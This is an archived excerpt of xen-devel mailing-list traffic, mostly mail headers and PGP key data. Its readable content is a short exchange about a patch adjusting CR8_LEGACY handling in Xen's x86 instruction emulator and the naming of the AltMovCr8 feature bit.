-----BEGIN PGP PUBLIC KEY BLOCK-----

xsDNBGn5sK8BDACuzSrrTjpVf4ay06OYB6yY0J1PqKffihoNMtrQRZjAHxoAPC7L
TBVHV/XOZw5HJc+9R71z1JV+iYg6z3jPziGKzX8Fj3ZXlzJPmpf1PuETH3KdbvtJ
T4ny+OGntnJntUoRKRPhTirr6yNeBk/637O3CQXjtqFUPZnko8OI/o1yawIBhJJA
WicutjkkUgd28Bh6HV9EIumHtCBgn5/1A/fpm9624MMgYLsA8qjC4XsoovQvFCaO
8HEhvfzrrTZHjn/nPeB9SigxIxXW8YaTVqMdqul07o72m3eA2mf+LMu9a04FX/d4
wbxBLtELm+1jIrbtyaFZEMOLv/haSiS/Lj3btJH/EoucejoZ5SH49ksmVAmKOLkt
OaTQ8b2gEvP7iaKiIiszCCtOSRohr+2GvDsDeLvVZnlR3I+SPhHar7TPKjFz0G3D
PNolyjXywNqOAMpomSPi8lSwjAFsxOtQbcck/qRGRSNk4DAmH70pA+89MXfQXZ3q
t1Q01B1+sU0I8xsAEQEAAc0kVGVkZHkgQXN0aWUgPHRlZGR5LmFzdGllQHZhdGVz
LnRlY2g+wsENBBMBCAA3FiEEGAIew9LzHY3pdrqtZg+p0QLLz9AFAmn5sK8FCQWj
moACGwMECwk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PNqtRk2E5s6
IQARAQABwsD8BBgBCAAmFiEEGAIew9LzHY3pdrqtZg+p0QLLz9AFAmn5sLAFCQWj
moACGwwACgkQZg+p0QLLz9DncQwAg76IehTemLIfrB8T9WIBZrI4kUV7G7a4rjiV
oUiHYN5QwhnbZnsaJDlt+Ezoqy/510eo2bCSzvW5xXYPgyjcuOPwgQo1Qp764Qxy
X6rld2f2RcWkDuBHun55ZWXjby8o21ginPRwruBVYY5rVf3DV1iBu4NurUeHtyFk
/dS0XTOQi2wVUb17sW/+ybCEokdVacZGzOqP/OmwHrF8ylXlXnhQq6e3r+J+T8fu
oGJelm/CJiMwyP6cEWE8sxVqX/iqwjwUYkuOCpE+lOWSvdNHgoEkWR0RXBPQjnGm
LKbfTl/QDXLk6NP2/r9uxm2HL6Ei3QJKSEdrp+XZaVnk/OffO485NOTKwGOxyWb0
06cTMh53xPkAJFQu4Tvdj+odsHz88jqw5wfPG0BYWx0I/FspYj7N9kZR8ULR9nX0
LvpzJ/kB4NgHIUt8YtIL6ZSfM2dbF7fKzvx1UqFfvozJZwFzfEieJLXa4nlGgR6D
x9fhaZEsniw8/bYgC3igkk5YJiOa
=3DlUIA
-----END PGP PUBLIC KEY BLOCK-----

--------------3xLkroRGDN0jbu0h02VpteNv--

--------------grNgvvd2qOkxF8rh04J82rwr--

--------------OmCq0iq1fK3yry9hFjH7o2As
Content-Type: application/pgp-signature; name="OpenPGP_signature.asc"
Content-Description: OpenPGP digital signature
Content-Disposition: attachment; filename="OpenPGP_signature.asc"

-----BEGIN PGP SIGNATURE-----

wsD5BAABCAAjFiEEGAIew9LzHY3pdrqtZg+p0QLLz9AFAmpOH30FAwAAAAAACgkQZg+p0QLLz9Dl
4Qv/bKMkMap14ezoaDiNSOQiyRh31dMn0/VLclG6XEDtC7mgZyPoUOrhZb4bTLqQeqPNqqtD/y1S
ke416mAFNyWs++yig75MH1mbE79Kcasl6XPkq1SpnVPvGCdFuDKxXlyxExVvHnw4X6QM5QSp7w5t
Juavyjz+VJlWlzywWHXhUEw2PWw1nQ8UVue9YDpqoDwb6NQWysfNYKtRzGrPAQZxq/hbJkbzUnk7
skN3MFOv94X0DOEbC7ca72DnK9RRB1nQtJD7wkQUP5b39dBoGsaNWqcZnpcf5P/EQ2t3ncB6Okr/
Lmq3D8d8dLZ1Yq74VLAlqm3TM9Z7LsvpvbuCkcMaDYRxf++nlizTAitYsz00ZplAGwEkEEzSYcYK
FJ4Mjz5SjC7ZuIzcO0Zl0JS1qNRJv35pb9pJE79Tq5HIZAW6DJYwVHgHtfLcTKo15OCaUxSaQO8/
uL9LNRJq9a8erahsQS0uSF1f08gWGFr5xSdkIXL0T8bi9gLeXD7dKgtYiHu2
=mLTs
-----END PGP SIGNATURE-----

--------------OmCq0iq1fK3yry9hFjH7o2As--


From xen-devel-bounces@lists.xenproject.org Wed Jul 08 10:25:15 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 08 Jul 2026 10:25:15 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1356816.1611353 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whPSc-0008Pb-P3; Wed, 08 Jul 2026 10:24:58 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1356816.1611353; Wed, 08 Jul 2026 10:24:58 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whPSc-0008PU-MX; Wed, 08 Jul 2026 10:24:58 +0000
Received: by outflank-mailman (input) for mailman id 1356816;
 Wed, 08 Jul 2026 10:24:57 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1whPSb-0008PM-92
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 10:24:57 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whPSa-007t2A-4p
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 12:24:56 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a4e2576-2eae-0a2a0a5409dd-0a2a450ad902-4
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 12:24:56 +0200
Received: from [209.85.221.41] (helo=mail-wr1-f41.google.com)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a4e2577-e40e-0a2a450a0019-d155dd29edb9-3
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 12:24:55 +0200
Received: by mail-wr1-f41.google.com with SMTP id
 ffacd0b85a97d-47ddf7b09e5so456680f8f.1
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 03:24:55 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47aa0a55be4sm37577818f8f.31.2026.07.08.03.24.54
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Wed, 08 Jul 2026 03:24:55 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1783506295; x=1784111095; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=F0tUb+m+1N7si+ENtpnLlMQTRCv8aZ1GmIGc53piWPQ=;
        b=XvLLILt+nKiVjQdoqTaMF+WyiOvpmNUN/CENzSCQO1wg4mdxC2SWWwx8tvjNjb3v/9
         FFIocOL9qAlwiL8A+qKGLf49ntgMOL2tOTfLe83ESkd3BtPdNKz7Sw4rJro8Y2dizRwY
         nU69fEeMCiv0oCNXg32KYD6GbU9Dt2e2prvNXsRagL+h0pOxWAkZAAmMTyEHItU4Kkar
         g9J14qRyNj1/dNGFH7l1xT5r1JWGMrLRcaGaHWj2ERsc76rt/FHfvOtzoS5vPtmQDipm
         g/BNsspu9zLjrE6p/J3lvBLYcklakis9w0kmbIbSEfgHR7TVrGS5fjL7+Qn9HlOyweh6
         x6ag==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783506295; x=1784111095;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=F0tUb+m+1N7si+ENtpnLlMQTRCv8aZ1GmIGc53piWPQ=;
        b=JJ6MWJ9Vu6E1OHyRzAAu2Ke+67fMAo06JYJ8hxNxDX8/nqUA3A6/YYoS/sVNhEuV5S
         NFcxWN//HgYrUfECL5QjtA6JQAUqHSRfI7A0tovhF/dXlilFLlN2cKCIhTj0uqSOSpIM
         FT4OVXFEtYxoyfp2C6P+R/IIVSmQUdFYHM1rv4qr4WTgi90CC7EoCM6EesSKFiO67fVg
         ZVm4HYVQgQrzdit2Ux+8ypQUx0lddjZVYk698LEr/yp2Q/qpaaZQ+s0ea9v0Cvq45Haa
         ahM8pSJscELUAlMrpmbF0iIKDrVLHK+866jeLxyOrY3IcFt9rHPb/H7ZHkPSiFqpLTVC
         D68g==
X-Forwarded-Encrypted: i=1; AHgh+RotWle/k/4Wc+fsQHBnqDclnRiNdZYLi6Yd6kwVE7C4waJ7GBpa51k5V0exGkri0VE/gPpzXibzUiI=@lists.xenproject.org
X-Gm-Message-State: AOJu0YxOUqfG6rJFSmTGM+rnrpK5HYvGYGbmHUvhGuuAy6S1aGebnjLa
	DnQ5qZHCBg6z1L8CXfeZCzNZPc7bgyQrdCcI3/jzQ2pXVF4rSHjGA/vhZG4Rs1ZSJw==
X-Gm-Gg: AfdE7cmWRdoGeUJ5SS8PvamP4omgosKUX85feyq951aGzrCTxe2xZUZ3Ma4WHHjlB3E
	5rb5WjsnI2gPA3WGzIVeRV3Bc94zD2mIVN19vbD6wzO46cXQTLuUGtjGg4DZarVNeZkj3ZMDYNA
	y+Tkwqe9SsbjZlYW3Tq30pzZqr0cQNwiDf3PNx80pGaWBOGjlVc7nUJ/BF7cW/Gt3XVkXiT7oke
	QHk+N5WsxejC+SGhldLpBMctZbGPkBCuRomd7zXN6LKWx88+IEgnrNHwTU1awsAVGK+EXfWvYsX
	H8ORLYcdhOiXiGjj79DG2BqM00IXwXD2nCfER0K0BpXF/ZdXawXwGda9mHQkxK08zM67uY2ULGe
	7zV4muctfvZav5sF3UF05Khbj40kNtJoewtgrjYpXP3ZfCIfK1F91s5MJMrv7xfAABiXD7F7nR8
	gWk7Sz/dGXKVkOuVCdj5AAevRKc7E90vtPjMADF3NYxTLu4BDdWDfqeAaRDhcxX9bNNvF15O512
	7Rl
X-Received: by 2002:a05:6000:40dc:b0:46e:1815:6a83 with SMTP id ffacd0b85a97d-47df075c727mr2061381f8f.29.1783506295490;
        Wed, 08 Jul 2026 03:24:55 -0700 (PDT)
Message-ID: <41d091b0-a7e7-461f-80da-69443a8ec752@suse.com>
Date: Wed, 8 Jul 2026 12:24:54 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v3] x86/emul: Adjust handling of CR8_LEGACY
To: Teddy Astie <teddy.astie@vates.tech>
Cc: =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Xen-devel <xen-devel@lists.xenproject.org>
References: <20260707194921.1425926-1-andrew.cooper3@citrix.com>
 <1783502974.8631fc262581453bbf619ec5b2062170.19f410fad6d00080a8@vates.tech>
 <4d38fc9c-0d80-4632-98e8-7fb4682bc0b0@suse.com>
 <1783504766.8631fc262581453bbf619ec5b2062170.19f412b045b00080a8@vates.tech>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnN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sBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <1783504766.8631fc262581453bbf619ec5b2062170.19f412b045b00080a8@vates.tech>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-4011c0/1783506295-D4D2BDDE-D7A65C42/0/0
X-purgate-type: clean
X-purgate-size: 1804

On 08.07.2026 11:59, Teddy Astie wrote:
> Le 08/07/2026 Ã  11:37, Jan Beulich a Ã©critÂ :
>> On 08.07.2026 11:29, Teddy Astie wrote:
>>> Le 07/07/2026 Ã  21:49, Andrew Cooper a Ã©critÂ :
>>>> --- a/xen/arch/x86/x86_emulate/decode.c
>>>> +++ b/xen/arch/x86/x86_emulate/decode.c
>>>> @@ -780,12 +780,12 @@ decode_twobyte(struct x86_emulate_state *s,
>>>>            break;
>>>>    
>>>>        case 0x20: case 0x22: /* mov to/from cr */
>>>> -        if ( s->lock_prefix && vcpu_has_cr8_legacy() )
>>>> +        if ( s->lock_prefix && vcpu_has_cr8_legacy() && s->modrm_reg == 0 )
>>>>            {
>>>> -            s->modrm_reg += 8;
>>>> +            s->modrm_reg = 8;
>>>>                s->lock_prefix = false;
>>>>            }
>>>> -        /* fall through */
>>>> +        fallthrough;
>>>>        case 0x21: case 0x23: /* mov to/from dr */
>>>>            ASSERT(s->ea.type == OP_REG); /* Early operand adjustment ensures this. */
>>>>            generate_exception_if(s->lock_prefix, X86_EXC_UD);
>>>
>>> I'm fine with it; though we probably want to make sure we always
>>> advertise the AltMovCr8 feature bit as APM suggest users to always check
>>> for this before relying on this behavior.
>>
>> Why would we set the flag when hardware doesn't have it? Note the
>> vcpu_has_cr8_legacy() check there - we only engage this behavior if
>> the guest sees the feature as available.
> 
> Hmm, ok, though this bit is named as "AltMovCr8" in July 2025 APM; but 
> we name it "cr8_legacy". Has the name of the feature bit changed in APM 
> over time ?

I don't know. What I do know is that imo AltMovCr8 isn't the greatest of
all possible names. (Neither is cr8_legacy, first and foremost as it
alludes to this being a compat-mode-only thing when it isn't.)

Jan


From xen-devel-bounces@lists.xenproject.org Wed Jul 08 10:27:47 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 08 Jul 2026 10:27:47 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1356826.1611362 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whPVJ-0000dH-Ab; Wed, 08 Jul 2026 10:27:45 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1356826.1611362; Wed, 08 Jul 2026 10:27:45 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whPVJ-0000dA-7p; Wed, 08 Jul 2026 10:27:45 +0000
Received: by outflank-mailman (input) for mailman id 1356826;
 Wed, 08 Jul 2026 10:27:43 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <andrew.cooper@citrix.com>) id 1whPVH-0000d4-Fr
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 10:27:43 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whPVG-00GApN-Sa
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 12:27:42 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <andrew.cooper@citrix.com>)
 id 6a4e261a-e002-0a2a0a5209dd-0a2a450ac174-12
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 12:27:42 +0200
Received: from [40.93.195.13]
 (helo=SN4PR2101CU001.outbound.protection.outlook.com)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <andrew.cooper@citrix.com>)
 id 6a4e261d-e40e-0a2a450a0019-285dc30d72f3-3
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 12:27:42 +0200
Received: from IA1PR03MB8288.namprd03.prod.outlook.com (2603:10b6:208:59e::6)
 by DSVPR03MB989291.namprd03.prod.outlook.com (2603:10b6:8:3a6::19)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.8; Wed, 8 Jul 2026
 10:27:39 +0000
Received: from IA1PR03MB8288.namprd03.prod.outlook.com
 ([fe80::b5ee:28c6:e04b:5599]) by IA1PR03MB8288.namprd03.prod.outlook.com
 ([fe80::b5ee:28c6:e04b:5599%3]) with mapi id 15.21.0181.012; Wed, 8 Jul 2026
 10:27:38 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=citrix.com header.i="@citrix.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=R/WDlZo+KVecXrFFHELnOosGTlPZ4fOVl/nmfL8dADBXLa5mToLlKc1kAVcZseFVJUdR6PiOBdzesBwdejriZifKNgNH1qmonglQssyyoPWnvoAgL+7ViIcOt+Pf4N6Qq09wSJR+uBk4x//tOJ75LpMU9+iDc5gtQq5FNnw5t48/j2yjluznY2T5ditqycmez5CBOgafOyyN/tc/f5PJaXnuawxxM3cznHUgt3FX43euQTrz77ilBR4UAYr15wX6uci3jeBjVBrfcQj5AhsNwV1y4GYNdHlL3LJteysawno7tFmJPoiXG+rfSqP/NqLqhRj8NHn0eg3xk/7pT6L6+w==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=kHE/U+SvvlJ7eJBrLic9JRJMC4fO19qIO+8Gc1srDE0=;
 b=L+K0Vc8mw+biEewHEjUj6uAS0W6ACT0/6M7FX1MLbGOjr/qlzYi7qPZb3K4OL9S6AubkrhD1Wk0tpmDHoAWIREjNmBE2lgWMedco8kc9mbtEIwdd+AijbkOVOEDSelVt4HBHv6Ih5gq9+OPrNYWDTqcsV44bWQgRPi6V57wd3zlXp5gd4W1rvDpLweLikOanmzcdn1sfKydOdlUnNzHcw8QHx5K8e4fEEX54wRopDenj8vZQuBwbxDRWzQkguCB66JxcrqfvNOJvB6L9w3Ml/ggCNygm8McfxYxa63X4V5UnNrbl3o7d92dZpBhNgKMarqEnmCkmufwWBtaLfNQZJw==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=citrix.com; dmarc=pass action=none header.from=citrix.com;
 dkim=pass header.d=citrix.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=citrix.com;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=kHE/U+SvvlJ7eJBrLic9JRJMC4fO19qIO+8Gc1srDE0=;
 b=e/KO2IKsi/AgShsox0xx5fPKVMojpF1L/iZOisEu5DeB7IDe2Lgs/Am80NoH7VAllCcyQd77yvCnHh4vHfeDtAkoxi2Ajimwfnl3XmZcurpLJCU/5D8q7Zs3CWiAqN77Y6MHhtXseWjqeNmdkQWlqhrD/VBH4bG+7PYjMve6SXk=
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=citrix.com;
Message-ID: <27e6f881-19a1-4456-a387-ceb7e3f5eb7a@citrix.com>
Date: Wed, 8 Jul 2026 11:27:35 +0100
User-Agent: Mozilla Thunderbird
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Xen-devel <xen-devel@lists.xenproject.org>
Subject: Re: [PATCH v3] x86/emul: Adjust handling of CR8_LEGACY
To: Jan Beulich <jbeulich@suse.com>, Teddy Astie <teddy.astie@vates.tech>
References: <20260707194921.1425926-1-andrew.cooper3@citrix.com>
 <1783502974.8631fc262581453bbf619ec5b2062170.19f410fad6d00080a8@vates.tech>
 <4d38fc9c-0d80-4632-98e8-7fb4682bc0b0@suse.com>
 <1783504766.8631fc262581453bbf619ec5b2062170.19f412b045b00080a8@vates.tech>
 <41d091b0-a7e7-461f-80da-69443a8ec752@suse.com>
Content-Language: en-GB
From: Andrew Cooper <andrew.cooper3@citrix.com>
Autocrypt: addr=andrew.cooper3@citrix.com; keydata=
 xsFNBFLhNn8BEADVhE+Hb8i0GV6mihnnr/uiQQdPF8kUoFzCOPXkf7jQ5sLYeJa0cQi6Penp
 VtiFYznTairnVsN5J+ujSTIb+OlMSJUWV4opS7WVNnxHbFTPYZVQ3erv7NKc2iVizCRZ2Kxn
 srM1oPXWRic8BIAdYOKOloF2300SL/bIpeD+x7h3w9B/qez7nOin5NzkxgFoaUeIal12pXSR
 Q354FKFoy6Vh96gc4VRqte3jw8mPuJQpfws+Pb+swvSf/i1q1+1I4jsRQQh2m6OTADHIqg2E
 ofTYAEh7R5HfPx0EXoEDMdRjOeKn8+vvkAwhviWXTHlG3R1QkbE5M/oywnZ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CrAtIa1k01sPipPPw6dfxx2e5asy21YOytzxuWFfJTGnVxZZSCyLUO83sh6OZhJkk
 b9rxL9wPmpN/t2IPaEKoAc0FTQZS36wAMOXkBh24PQ9gaLJvfPKpNzGD8XWR5HHF0NLIJhgg
 4ZlEXQ2fVp3XrtocHqhu4UZR4koCijgB8sB7Tb0GCpwK+C4UePdFLfhKyRdSXuvY3AHJd4CP
 4JzW0Bzq/WXY3XMOzUTYApGQpnUpdOmuQSfpV9MQO+/jo7r6yPbxT7CwRS5dcQPzUiuHLK9i
 nvjREdh84qycnx0/6dDroYhp0DFv4udxuAvt1h4wGwTPRQZerSm4xaYegEFusyhbZrI0U9tJ
 B8WrhBLXDiYlyJT6zOV2yZFuW47VrLsjYnHwn27hmxTC/7tvG3euCklmkn9Sl9IAKFu29RSo
 d5bD8kMSCYsTqtTfT6W4A3qHGvIDta3ptLYpIAOD2sY3GYq2nf3Bbzx81wZK14JdDDHUX2Rs
 6+ahAA==
In-Reply-To: <41d091b0-a7e7-461f-80da-69443a8ec752@suse.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-ClientProxiedBy: LO4P123CA0058.GBRP123.PROD.OUTLOOK.COM
 (2603:10a6:600:153::9) To IA1PR03MB8288.namprd03.prod.outlook.com
 (2603:10b6:208:59e::6)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: IA1PR03MB8288:EE_|DSVPR03MB989291:EE_
X-MS-Office365-Filtering-Correlation-Id: 1704e787-372a-48ad-3f26-08dedcdb8907
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|23010399003|376014|366016|1800799024|22082099003|18002099003|4143699003|11063799006|56012099006|6133799003;
X-Microsoft-Antispam-Message-Info:
	X+XhC6hy/+dSfRC/iW4BW8alxbST5KURHiAIySviOZGAddDMjDyd+X8vYzWeGIhzjb1G78UDFhXKKF5EFEU8GWAOVL29QnTWgpwPYnu8p9wy4ZBc3cPLk6bc8gGmjqbHsYHwff0L2Nr7Ns0onNgUyfN/diIySXzYVU1V1L33qi857fP8MRe/IO8ROLMotUyQpbqXAtxGgLKIfhj6+KQEpLr3ZyRmhvE+aLaUMg2Wbwj3WXJCqbyj2dsUxjPtwvIEC15B0+ip067X7rtPMKYBvNUDE6oYFOZtpd6H7S5Rk+saO/XaFQb6QCmRr5BKR+7gIixOTGoKjNOJjpdKKCVnvzLGit6f+U5Pje7PlfMBOK6mAl4qtVuRh+YantEq7NMVmoX56UL2RejnIejw4n0ZPJiPQrYkfWvniIin6QwkSFC1C4aKzf3JzE8Wyu2D/wFjT6dkncRsar6OkSI31L5/bKDgnR/Vmve3fYMSNDOnGvsc3l6D5Jd59rhVOusfnWMYAJuFCkd3KqcesVhC6VYJAHZTUoxI17t8LVsgp9xPwuQa7sVFtlltztr+mGBLRc+H9D/fq2v32/YPVn4oE4x2lcJUPrQiiC8JabvL5WmfNxWJ37cMLWIIDaZeGfp0d3euXXeptLr57S518FplS/BL8xKZAoaT2U+vYc4qdEsuJwQ=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:IA1PR03MB8288.namprd03.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(23010399003)(376014)(366016)(1800799024)(22082099003)(18002099003)(4143699003)(11063799006)(56012099006)(6133799003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	=?utf-8?B?elVXL1lyRlAyVnlVaDMrcUxwQzB4T0ZyK3h4REVONEFVYTUyUkdOYks5TUxK?=
 =?utf-8?B?Z2pTTEc3NzV1REFCTTBKY2djWGtQYlNxWkxHUGtndTR1NmNBR1NJUGZiTzdv?=
 =?utf-8?B?RGUzWTZHODJBZ1phdHZLRlNFS3hCdkphNk9OdGtMVmptN3I5dFdkZlFxK3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ZHd1pwL3I0Z25tN0tma2xQWW1Tc1V5eFhaQi8yaG1vc1c2?=
 =?utf-8?B?MDl4cUMvakNka3FTUG5iUkd0MmhpQm9ySGhzZGlwUmNQRTJCZ3NFblNXQlJJ?=
 =?utf-8?B?Z085K3dhNGRhR2k4SlR4eFhLdXpQbjlXVUsyOWhXVE03czU4SVNkRlhNcG9P?=
 =?utf-8?B?Zk5sb0FueWQxeEVTcUxUZktPQWxjb1lSbUhWeWFPampZTTA5UXhlM1EyU1N5?=
 =?utf-8?B?M2l2R1dYT2Mrbks5NnZuZDJlL0lrT1pBT1R0Zk5kZ2J0Q0oyRm1UV1p4TnJm?=
 =?utf-8?B?YkxtVDQxSzVqQnpQaGxqVksvWXlnQmUydjRoY2tyNUhkZm1aN3JML3VTdVht?=
 =?utf-8?B?THNKRm51VmYrK2NUOWRKdy9tb1dDcmhSaTZLZXJGZEUzR0NBaFZBOUhGMnla?=
 =?utf-8?B?UTgrcmZDeGVac3FzdUxCQmwzdFFEa3RRaHVhSmh2RW9JK3cxTTdBQT09?=
X-OriginatorOrg: citrix.com
X-MS-Exchange-CrossTenant-Network-Message-Id: 1704e787-372a-48ad-3f26-08dedcdb8907
X-MS-Exchange-CrossTenant-AuthSource: IA1PR03MB8288.namprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 08 Jul 2026 10:27:38.8896
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 335836de-42ef-43a2-b145-348c2ee9ca5b
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: RbOJlS1LhZhe+2uC7fvFwF118wrwEdmeL9vmWByfUUNsZ05fKbUHjKhgRdbOEBfRzf8G3ONOPHNR7Wj/VZc+31nbgZnHiRkVUjBx1PuwYt0=
X-MS-Exchange-Transport-CrossTenantHeadersStamped: DSVPR03MB989291
